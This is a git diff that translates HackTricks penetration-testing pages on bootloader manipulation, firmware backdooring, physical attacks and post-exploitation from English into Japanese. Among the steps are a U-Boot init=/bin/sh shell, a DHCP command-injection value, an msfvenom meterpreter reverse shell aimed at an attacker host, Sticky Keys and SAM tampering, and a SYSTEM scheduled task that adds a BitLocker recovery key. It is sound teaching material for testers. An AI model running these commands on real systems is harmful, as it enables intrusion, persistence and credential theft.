+デバイスの起動とU-bootなどのブートローダーを変更する場合、次のことを試してみてください: +* ブート中に「0」、スペース、または他の特定の「マジックコード」を押してブートローダーのインタプリタシェルにアクセスしようとする。 +* 設定を変更して、ブート引数の末尾に「`init=/bin/sh`」などのシェルコマンドを実行する。 +* `#printenv` +* `#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash: rootfstype= hasEeprom=0 5srst=0 init=/bin/sh` +* `#saveenv` +* `#boot` +* ワークステーションからネットワーク経由でイメージをロードするためのtftpサーバーをセットアップします。デバイスがネットワークアクセスできることを確認してください。 +* `#setenv ipaddr 192.168.2.2 #デバイスのローカルIP` +* `#setenv serverip 192.168.2.1 #tftpサーバーのIP` +* `#saveenv` +* `#reset` +* `#ping 192.168.2.1 #ネットワークアクセスが利用可能かどうかを確認する` +* `#tftp ${loadaddr} uImage-3.6.35 #loadaddrは2つの引数を取ります:ファイルをロードするアドレスとTFTPサーバー上のイメージのファイル名` +* `ubootwrite.py`を使用してubootイメージを書き込み、ルート権限を取得するために変更されたファームウェアをプッシュします。 +* 次のような有効なデバッグ機能をチェックします: +* 冗長なログ記録 +* 任意のカーネルのロード +* 信頼できないソースからのブート +* \*注意して使用してください:1つのピンをグラウンドに接続し、デバイスのブートアップシーケンスを監視し、カーネルが展開される前に、グラウンドされたピンをSPIフラッシュチップのデータピン(DO)にショート/接続します。 +* \*注意して使用してください:1つのピンをグラウンドに接続し、デバイスのブートアップシーケンスを監視し、カーネルが展開される前に、グラウンドされたピンをNANDフラッシュチップのピン8と9にショート/接続します。この時点でU-bootがUBIイメージを展開します。 +* \*ピンのショート前にNANDフラッシュチップのデータシートを確認してください。 +* 悪意のあるパラメータを持つローグDHCPサーバーを設定し、デバイスがPXEブート中に入力するようにします。 +* Metasploit(MSF)のDHCP補助サーバーを使用し、`‘a";/bin/sh;#’`のようなコマンドインジェクションコマンドで「`FILENAME`」パラメータを変更して、デバイスの起動手順の入力検証をテストします。 +\*ハードウェアセキュリティテスト diff --git a/physical-attacks/firmware-analysis/firmware-integrity.md b/physical-attacks/firmware-analysis/firmware-integrity.md index 9e0d29369..d41d50bb1 100644 --- a/physical-attacks/firmware-analysis/firmware-integrity.md +++ b/physical-attacks/firmware-analysis/firmware-integrity.md @@ -1,70 +1,49 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-### This page was copied from [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) +### このページは[https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)からコピーされました。 -Attempt to **upload custom firmware and/or compiled binaries** for integrity or signature verification flaws. For example, compile a backdoor bind shell that starts upon boot using the following steps. +**カスタムファームウェアやコンパイルされたバイナリをアップロード**して、整合性や署名の検証の欠陥を試みます。たとえば、次の手順を使用して、起動時に開始するバックドアバインドシェルをコンパイルします。 -1. Extract firmware with firmware-mod-kit (FMK) -2. Identify the target firmware architecture and endianness -3. Build a cross compiler with Buildroot or use other methods that suits your environment -4. Use cross compiler to build the backdoor -5. Copy the backdoor to extracted firmware /usr/bin -6. Copy appropriate QEMU binary to extracted firmware rootfs -7. Emulate the backdoor using chroot and QEMU -8. Connect to backdoor via netcat -9. Remove QEMU binary from extracted firmware rootfs -10. Repackage the modified firmware with FMK -11. Test backdoored firmware by emulating with firmware analysis toolkit (FAT) and connecting to the target backdoor IP and port using netcat +1. firmware-mod-kit(FMK)を使用してファームウェアを抽出します。 +2. ターゲットのファームウェアアーキテクチャとエンディアンを特定します。 +3. Buildrootを使用してクロスコンパイラをビルドするか、環境に合わせた他の方法を使用します。 +4. クロスコンパイラを使用してバックドアをビルドします。 +5. バックドアを抽出したファームウェアの/usr/binにコピーします。 +6. 適切なQEMUバイナリを抽出したファームウェアのルートファイルシステムにコピーします。 +7. chrootとQEMUを使用してバックドアをエミュレートします。 +8. netcatを使用してバックドアに接続します。 +9. 抽出したファームウェアのルートファイルシステムからQEMUバイナリを削除します。 +10. FMKを使用して変更したファームウェアを再パッケージ化します。 +11. ファームウェア解析ツールキット(FAT)を使用してバックドア付きのファームウェアをエミュレートし、netcatを使用してターゲットのバックドアIPとポートに接続してテストします。 -If a root shell has already been obtained from dynamic analysis, bootloader manipulation, or hardware security testing means, attempt to execute precompiled malicious binaries such as implants or reverse shells. Consider using automated payload/implant tools used for command and control (C\&C) frameworks. For example, Metasploit framework and ‘msfvenom’ can be leveraged using the following steps. - -1. Identify the target firmware architecture and endianness -2. Use `msfvenom` to specify the appropriate target payload (-p), attacker host IP (LHOST=), listening port number (LPORT=) filetype (-f), architecture (--arch), platform (--platform linux or windows), and the output file (-o). For example, `msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux` -3. Transfer the payload to the compromised device (e.g. Run a local webserver and wget/curl the payload to the filesystem) and ensure the payload has execution permissions -4. Prepare Metasploit to handle incoming requests. For example, start Metasploit with msfconsole and use the following settings according to the payload above: use exploit/multi/handler, - * `set payload linux/armle/meterpreter_reverse_tcp` - * `set LHOST 192.168.1.245 #attacker host IP` - * `set LPORT 445 #can be any unused port` - * `set ExitOnSession false` - * `exploit -j -z` -5. Execute the meterpreter reverse 🐚 on the compromised device -6. Watch meterpreter sessions open -7. Perform post exploitation activities - -If possible, identify a vulnerability within startup scripts to obtain persistent access to a device across reboots. Such vulnerabilities arise when startup scripts reference, [symbolically link](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), or depend on code located in untrusted mounted locations such as SD cards, and flash volumes used for storage data outside of root filesystems. - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+既にダイナミック解析、ブートローダ操作、またはハードウェアセキュリティテスト手段からルートシェルを取得している場合は、インプラントやリバースシェルなどの事前にコンパイルされた悪意のあるバイナリを実行しようとします。コマンドアンドコントロール(C\&C)フレームワークに使用される自動ペイロード/インプラントツールの使用を検討してください。たとえば、Metasploitフレームワークと「msfvenom」を使用する場合は、次の手順を使用します。 +1. ターゲットのファームウェアアーキテクチャとエンディアンを特定します。 +2. `msfvenom`を使用して、適切なターゲットペイロード(-p)、攻撃者のホストIP(LHOST=)、リッスンポート番号(LPORT=)、ファイルタイプ(-f)、アーキテクチャ(--arch)、プラットフォーム(--platform linuxまたはwindows)、および出力ファイル(-o)を指定します。たとえば、`msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux` +3. ペイロードを侵害されたデバイスに転送します(たとえば、ローカルウェブサーバーを実行し、ペイロードをファイルシステムにwget/curlします)およびペイロードに実行許可があることを確認します。 +4. Metasploitを受信リクエストを処理するように準備します。たとえば、msfconsoleでMetasploitを起動し、次の設定を使用します(上記のペイロードに応じて):use exploit/multi/handler、 +* `set payload linux/armle/meterpreter_reverse_tcp` +* `set LHOST 192.168.1.245 #attacker host IP` +* `set LPORT 445 #can be any unused port` +* `set ExitOnSession false` +* `exploit -j -z` +5. 侵害されたデバイスでメータープリタリバース🐚を実行します。 +6. メータープリターセッションが開かれるのを見守ります。 +7. ポストエクスプロイト活動を実行します。 +可能であれば、起動スクリプト内の脆弱性を特定して、デバイスが再起動しても持続的なアクセスを取得します。このような脆弱性は、起動スクリプトがSDカードやルートファイルシステム以外の信頼されていないマウントされた場所にあるコードを参照、[シンボリックリンク](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data)、または依存する場合に発生します。、ストレージデータ用のフラッシュボリュームなど。 diff --git a/physical-attacks/physical-attacks.md b/physical-attacks/physical-attacks.md index 7f3cda922..81ae6bee4 100644 --- a/physical-attacks/physical-attacks.md +++ b/physical-attacks/physical-attacks.md @@ -1,164 +1,156 @@ -# Physical Attacks +# 物理攻撃
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-## BIOS password +## BIOSパスワード -### The battery +### バッテリー -Most of the **motherbords** have a **battery**. If you **remove** it **30min** the settings of the BIOS will be **restarted** (password included). +ほとんどの**マザーボード**には**バッテリー**があります。バッテリーを**30分間取り外す**と、BIOSの設定が**リセット**されます(パスワードも含まれます)。 -### Jumper CMOS +### CMOSジャンパー -Most of the **motherboards** have a **jumper** that can restart the settings. This jumper connects a central pin with another, if you **connect thoses pins the motherbord will be reseted**. +ほとんどの**マザーボード**には、設定をリセットできる**ジャンパー**があります。このジャンパーは、中央のピンと別のピンを接続します。これらのピンを接続すると、マザーボードがリセットされます。 -### Live Tools +### ライブツール -If you could **run** for example a **Kali** Linux from a Live CD/USB you could use tools like _**killCmos**_ or _**CmosPWD**_ (this last one is included in Kali) you could try to **recover the password of the BIOS**. +たとえば、Live CD/USBから**Kali** Linuxを実行できる場合、_**killCmos**_や_**CmosPWD**_(これはKaliに含まれています)などのツールを使用して、BIOSのパスワードを**回復**することができます。 -### Online BIOS password recovery +### オンラインBIOSパスワードの回復 -Put the password of the BIOS **3 times wrong**, then the BIOS will **show an error messag**e and it will be blocked.\ -Visit the page [https://bios-pw.org](https://bios-pw.org) and **introduce the error code** shown by the BIOS and you could be lucky and get a **valid password** (the **same search could show you different passwords and more than 1 could be valid**). +BIOSのパスワードを**3回間違える**と、BIOSは**エラーメッセージを表示**してブロックされます。\ +[https://bios-pw.org](https://bios-pw.org)にアクセスし、BIOSに表示される**エラーコード**を入力すると、**有効なパスワード**(同じ検索でも異なるパスワードが表示される場合があり、複数のパスワードが有効になる場合があります)を取得できるかもしれません。 ## UEFI -To check the settings of the UEFI and perform some kind of attack you should try [chipsec](https://github.com/chipsec/chipsec/blob/master/chipsec-manual.pdf).\ -Using this tool you could easily disable the Secure Boot: - +UEFIの設定を確認し、攻撃を行うためには、[chipsec](https://github.com/chipsec/chipsec/blob/master/chipsec-manual.pdf)を試してみる必要があります。\ +このツールを使用すると、簡単にSecure Bootを無効にすることができます: ``` python chipsec_main.py -module exploits.secure.boot.pk ``` - ## RAM -### Cold boot +### コールドブート -The **RAM memory is persistent from 1 to 2 minutes** from the time the computer is powered off. If you apply **cold** (liquid nitrogen, for example) on the memory card you can extend this time up to **10 minutes**. +**RAMメモリは、コンピュータの電源が切れてから1〜2分間は持続的**です。もしメモリカードに**コールド**(例えば液体窒素)を適用すると、この時間を**最大10分間**まで延長することができます。 -Then, you can do a **memory dump** (using tools like dd.exe, mdd.exe, Memoryze, win32dd.exe or DumpIt) to analyze the memory. +その後、**dd.exe、mdd.exe、Memoryze、win32dd.exe、DumpIt**などのツールを使用して、**メモリダンプ**を行い、メモリを分析することができます。 -You should **analyze** the memory **using volatility**. +メモリを**volatility**を使用して分析する必要があります。 ### [INCEPTION](https://github.com/carmaa/inception) -Inception is a **physical memory manipulation** and hacking tool exploiting PCI-based DMA. The tool can attack over **FireWire**, **Thunderbolt**, **ExpressCard**, PC Card and any other PCI/PCIe HW interfaces.\ -**Connect** your computer to the victim computer over one of those **interfaces** and **INCEPTION** will try to **patch** the **pyshical memory** to give you **access**. +Inceptionは、PCIベースのDMAを利用した**物理的なメモリ操作**およびハッキングツールです。このツールは、**FireWire**、**Thunderbolt**、**ExpressCard**、PCカード、およびその他のPCI/PCIe HWインターフェースを介して攻撃することができます。\ +自分のコンピュータを被害者のコンピュータにこれらの**インターフェース**のいずれかで接続し、**INCEPTION**が**物理メモリ**を**パッチ**して**アクセス**を提供しようとします。 -**If INCEPTION succeeds, any password introduced will be vaid.** +**INCEPTIONが成功すると、入力されたパスワードは有効になります。** -**It doesn't work with Windows10.** +**Windows10では動作しません。** ## Live CD/USB -### Sticky Keys and more +### Sticky Keys およびその他 -* **SETHC:** _sethc.exe_ is invoked when SHIFT is pressed 5 times -* **UTILMAN:** _Utilman.exe_ is invoked by pressing WINDOWS+U -* **OSK:** _osk.exe_ is invoked by pressing WINDOWS+U, then launching the on-screen keyboard -* **DISP:** _DisplaySwitch.exe_ is invoked by pressing WINDOWS+P +* **SETHC:** SHIFTキーが5回押されたときに_sethc.exe_が呼び出されます。 +* **UTILMAN:** WINDOWS+Uを押すと_Utilman.exe_が呼び出されます。 +* **OSK:** WINDOWS+Uを押し、その後オンスクリーンキーボードを起動すると_osk.exe_が呼び出されます。 +* **DISP:** WINDOWS+Pを押すと_DisplaySwitch.exe_が呼び出されます。 -These binaries are located inside _**C:\Windows\System32**_. You can **change** any of them for a **copy** of the binary **cmd.exe** (also in the same folder) and any time that you invoke any of those binaries a command prompt as **SYSTEM** will appear. +これらのバイナリは_**C:\Windows\System32**_内にあります。これらのバイナリのいずれかを、同じフォルダにある**cmd.exe**のコピーに**変更**することができ、これらのバイナリを呼び出すたびに、**SYSTEM**としてのコマンドプロンプトが表示されます。 -### Modifying SAM - -You can use the tool _**chntpw**_ to **modify the** _**SAM**_ **file** of a mounted Windows filesystem. Then, you could change the password of the Administrator user, for example.\ -This tool is available in KALI. +### SAMの変更 +ツール_**chntpw**_を使用して、マウントされたWindowsファイルシステムの_**SAM**_ファイルを**変更**することができます。その後、例えばAdministratorユーザーのパスワードを変更することができます。\ +このツールはKALIで利用可能です。 ``` chntpw -h chntpw -l ``` - -**Inside a Linux system you could modify the** _**/etc/shadow**_ **or** _**/etc/passwd**_ **file.** +**Linuxシステム内では、** _**/etc/shadow**_ **または** _**/etc/passwd**_ **ファイルを変更することができます。** ### **Kon-Boot** -**Kon-Boot** is one of the best tools around which can log you into Windows without knowing the password. It works by **hooking into the system BIOS and temporarily changing the contents of the Windows kernel** while booting (new versions work also with **UEFI**). It then allows you to enter **anything as the password** during login. The next time you start the computer without Kon-Boot, the original password will be back, the temporary changes will be discarded and the system will behave as if nothing has happened.\ -Read More: [https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/) +**Kon-Boot**は、パスワードを知らずにWindowsにログインできる最高のツールの一つです。**システムBIOSにフックし、Windowsカーネルの内容を一時的に変更**することで動作します(新しいバージョンでは**UEFI**でも動作します)。その後、ログイン時に**任意のパスワードを入力**することができます。Kon-Bootなしでコンピュータを再起動すると、元のパスワードが復元され、一時的な変更は破棄され、システムは何も起こったかのように動作します。\ +詳細はこちらを参照してください:[https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/) -It is a live CD/USB that can **patch the memory** so you **won't need to know the password to login**.\ -Kon-Boot also performs the **StickyKeys** trick so you could press _**Shift**_ **5 times to get an Administrator cmd**. +これはライブCD/USBであり、メモリを**パッチ**することができるため、**ログインするためにパスワードを知る必要はありません**。\ +Kon-Bootはまた、**StickyKeys**のトリックを実行するため、_**Shift**_ **を5回押すと管理者のコマンドプロンプトが表示されます**。 -## **Running Windows** +## **Windowsの実行** -### Initial shortcuts +### 初期のショートカット -### Booting shortcuts +### ブートのショートカット * supr - BIOS -* f8 - Recovery mode +* f8 - リカバリーモード * _supr_ - BIOS ini -* _f8_ - Recovery mode -* _Shitf_ (after the windows banner) - Go to login page instead of autologon (avoid autologon) +* _f8_ - リカバリーモード +* _Shitf_(Windowsバナーの後) - 自動ログオンではなくログインページに移動する(自動ログオンを回避) -### **BAD USBs** +### **BAD USB** -#### **Rubber Ducky tutorials** +#### **Rubber Duckyのチュートリアル** -* [Tutorial 1](https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Tutorials) -* [Tutorial 2](https://blog.hartleybrody.com/rubber-ducky-guide/) +* [チュートリアル1](https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Tutorials) +* [チュートリアル2](https://blog.hartleybrody.com/rubber-ducky-guide/) #### **Teensyduino** -* [Payloads and tutorials](https://github.com/Screetsec/Pateensy) +* [ペイロードとチュートリアル](https://github.com/Screetsec/Pateensy) -There are also tons of tutorials about **how to create your own bad USB**. +**自分自身のBAD USBを作成する方法**についてのチュートリアルもたくさんあります。 -### Volume Shadow Copy +### ボリュームシャドウコピー -With administrators privileges and powershell you could make a copy of the SAM file.[ See this code](../windows-hardening/basic-powershell-for-pentesters/#volume-shadow-copy). +管理者特権とPowerShellを使用して、SAMファイルのコピーを作成することができます。[このコードを参照してください](../windows-hardening/basic-powershell-for-pentesters/#volume-shadow-copy)。 -## Bypassing Bitlocker +## Bitlockerのバイパス -Bitlocker uses **2 passwords**. The one used by the **user**, and the **recovery** password (48 digits). +Bitlockerは**2つのパスワード**を使用します。ユーザーが使用するパスワードと**リカバリ**パスワード(48桁)です。 -If you are lucky and inside the current session of Windows exists the file _**C:\Windows\MEMORY.DMP**_ (It is a memory dump) you could try to **search inside of it the recovery password**. You can **get this file** and a **copy of the filesytem** and then use _Elcomsoft Forensic Disk Decryptor_ to get the content (this will only work if the password is inside the memory dump). You could also **force the memory dump** using _**NotMyFault**_ of _Sysinternals,_ but this will reboot the system and has to be executed as Administrator. +もし現在のWindowsセッション内に _**C:\Windows\MEMORY.DMP**_(メモリダンプ)というファイルが存在する場合、その中から**リカバリパスワードを検索**することができます。このファイルとファイルシステムの**コピーを取得**し、それから_Elcomsoft Forensic Disk Decryptor_を使用して内容を取得することができます(これはパスワードがメモリダンプ内に含まれている場合にのみ機能します)。また、_Sysinternals_の_NotMyFault_を使用してメモリダンプを**強制的に実行**することもできますが、これによりシステムが再起動され、管理者として実行する必要があります。 -You could also try a **bruteforce attack** using _**Passware Kit Forensic**_. +_Passware Kit Forensic_を使用して**ブルートフォース攻撃**を試すこともできます。 -### Social Engineering - -Finally, you could make the user add a new recovery password making him executed as administrator: +### ソーシャルエンジニアリング +最後に、ユーザーに管理者として実行させるように依頼し、新しいリカバリパスワードを追加させることもできます。 ```bash schtasks /create /SC ONLOGON /tr "c:/windows/system32/manage-bde.exe -protectors -add c: -rp 000000-000000-000000-000000-000000-000000-000000-000000" /tn tarea /RU SYSTEM /f ``` +次回のログイン時に、新しいリカバリーキー(48個のゼロで構成される)が追加されます。 -This will add a new recovery key (composed of 48 zeros) in the next login. - -To check the valid recovery keys you can execute: - +有効なリカバリーキーを確認するには、次のコマンドを実行します。 ``` manage-bde -protectors -get c: ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/post-exploitation.md b/post-exploitation.md index 0c9ae86c5..d6a2f2af2 100644 --- a/post-exploitation.md +++ b/post-exploitation.md @@ -1,35 +1,32 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。これは、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## **Local l00t** +## **ローカルの戦利品** -* [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): These scripts, apart for looking for PE vectors, will look for sensitive information inside the filesystem. -* [**LaZagne**](https://github.com/AlessandroZ/LaZagne): The **LaZagne project** is an open source application used to **retrieve lots of passwords** stored on a local computer. Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). This tool has been developed for the purpose of finding these passwords for the most commonly-used software. +* [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): これらのスクリプトは、PEベクトルを探すだけでなく、ファイルシステム内の機密情報を探します。 +* [**LaZagne**](https://github.com/AlessandroZ/LaZagne): **LaZagneプロジェクト**は、ローカルコンピュータに保存されている多くのパスワードを取得するために使用されるオープンソースのアプリケーションです。各ソフトウェアは、異なる技術(平文、API、カスタムアルゴリズム、データベースなど)を使用してパスワードを保存します。このツールは、最も一般的に使用されるソフトウェアのパスワードを見つける目的で開発されました。 -## **External Services** - -* [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): This Module will connect to Confluence's API using an access token, export to PDF, and download the Confluence documents that the target has access to. -* [**GD-Thief**](https://github.com/antman1p/GD-Thief): Red Team tool for exfiltrating files from a target's Google Drive that you(the attacker) has access to, via the Google Drive API. This includes includes all shared files, all files from shared drives, and all files from domain drives that the target has access to. -* [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Red Team tool for exfiltrating the target organization's Google People Directory that you have access to, via Google's People API. -* [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** This is a tool developed in Python which uses the 